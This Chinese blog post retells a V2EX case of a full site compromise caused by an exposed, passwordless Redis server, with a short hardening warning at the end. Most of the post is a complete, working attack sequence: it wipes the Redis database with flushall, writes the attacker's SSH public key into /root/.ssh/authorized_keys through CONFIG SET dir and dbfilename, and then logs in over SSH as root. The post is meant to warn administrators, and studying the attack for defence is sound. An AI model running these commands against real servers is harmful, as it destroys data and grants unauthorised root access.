在V2EX上看到因为服务设置引起入侵并导致整站沦陷的例子,最终题主给出的入侵是由于Redis数据库默认绑定0.0.0.0造成的。
相关信息如下:
redis 默认配置会 bind 0.0.0.0 而且没密码设置

利用漏洞办法:
通过redis入侵服务器的原理是:利用了redis默认配置,许多用户没有设置访问的key。然后通过向redis把自己的公钥写入到redis,然后利更改redis的数据库文件配置,把数据写入到认证文件。形成免密码登陆。

一,生成本地ssh公钥

ssh-keygen

二,先连接redis看看

telnet 192.168.15.10 6379
redis-cli -h 192.168.15.10

三, 清一下redis数据库

redis-cli -h 192.168.15.10 flushall

四, 向redis写自己的公钥

cat key.txt |redis-cli -h 192.168.15.10 -x set redis

五, 利用redis写入到文件中

#连接redis
#redis-cli -h 192.168.15.10
#查看keys
192.168.15.10>keys *
#写入配置库的路径及存放位置
192.168.15.10>CONFIG SET dir /root/.ssh/
#写入配置库名称及存放的名字
192.168.15.10>CONFIG SET dbfilename "authorized_keys"
#写入
192.168.15.10>save
#退出
192.168.15.10>exit

六, 远程连接

ssh root@192.168.15.10

注意,这个是使用的默认的。也就是说别人是用的root来启动的redis 并且没有更改sshd配置文件的位置,以及redis可以默认的可以随意访问性的。当然有许多可以猜。

由此看来,对于一些服务,以及服务器默认端口的开放监听,一定要在上线前慎之又慎的检查并去掉不需要的监听。

V2EX相关链接:https://v2ex.com/t/271910
漏洞使用办法来自:http://my.oschina.net/lenglingx/blog/532185

Related Posts: 由服务设置引起的入侵 :